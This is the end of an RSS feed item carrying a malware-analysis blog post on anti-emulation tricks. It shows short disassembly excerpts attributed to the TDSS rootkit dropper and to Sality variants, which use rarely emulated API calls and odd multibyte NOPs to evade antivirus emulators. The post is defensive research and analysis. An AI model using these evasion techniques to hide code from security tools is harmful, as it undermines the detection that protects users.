<div class="de1">00001c52 <span class="kw1">CALL</span> USER32.dll!wsprintfA</div>
</li>
<li class="li1">
<div class="de1">00001c58 <span class="kw1">ADD</span> <span class="kw3">ESP</span>, 0x8</div>
</li>
<li class="li1">
<div class="de1">00001c5b <span class="kw1">PUSH</span> 0x0</div>
</li>
<li class="li1">
<div class="de1">00001c5d <span class="kw1">CALL</span> ADVAPI32.dll!RegCloseKey</div>
</li>
<li class="li1">
<div class="de1">00001c63 <span class="kw1">CALL</span> ole32.dll!OleUninitialize</div>
</li>
</ol>
</div>
<p>Very simple API calls not commonly emulated (extracted from the dropper of the rootkit TDSS):</p>
<div class="geshi no asm">
<ol>
<li class="li1">
<div class="de1"><span class="nu0">00000813</span> <span class="kw1">XOR</span> <span class="kw3">ESI</span>, <span class="kw3">ESI</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">00000815</span> <span class="kw1">PUSH</span> <span class="kw3">ESI</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">00000816</span> <span class="kw1">MOV</span> <span class="kw3">EAX</span>, <span class="br0">&#91;</span>0x40600c<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; kernel32.dll!GetModuleHandleA</span></div>
</li>
<li class="li1">
<div class="de1">0000081d <span class="kw1">CALL</span> <span class="kw3">EAX</span></div>
</li>
<li class="li1">
<div class="de1">0000081f <span class="br0">&#40;</span><span class="kw1">PUSH</span> 0x74</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">00000821</span> <span class="kw1">MOV</span> <span class="kw3">EAX</span>, <span class="br0">&#91;</span>0x406080<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; msvcrt.dll!iscntrl</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">00000827</span> <span class="kw1">CALL</span> <span class="kw3">EAX</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">00000829</span> <span class="kw1">POP</span> <span class="kw3">ECX</span></div>
</li>
<li class="li1">
<div class="de1">0000082a <span class="kw1">TEST</span> <span class="kw3">EAX</span>, <span class="kw3">EAX</span></div>
</li>
<li class="li1">
<div class="de1">0000082c <span class="kw1">JNZ</span> 0x000008ad &nbsp; &nbsp; <span class="co1">; 1</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">00000832</span> <span class="kw1">PUSH</span> 0x6d</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">00000834</span> <span class="kw1">PUSH</span> 0x68</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">00000836</span> <span class="kw1">MOV</span> <span class="kw3">EAX</span>, <span class="br0">&#91;</span>0x40607c<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; msvcrt.dll!is_wctype</span></div>
</li>
<li class="li1">
<div class="de1">0000083d <span class="kw1">CALL</span> <span class="kw3">EAX</span></div>
</li>
</ol>
</div>
<p>Or strange x86 assembly instructions like multibyte NOPs with redundant prefixes and so on (found in some variants of Sality): </p>
<div class="geshi no asm">
<ol>
<li class="li1">
<div class="de1">f30f1f90909090. <span class="kw1">rep</span> <span class="kw1">nop</span> <span class="br0">&#91;</span><span class="kw3">eax</span>+0x66909090<span class="br0">&#93;</span></div>
</li>
</ol>
</div>
<p>I know it's just one antiemulation trick and there are thousands of them but this trick is new (at least for me), special and cool!</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2009/12/02/malware-tricks-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

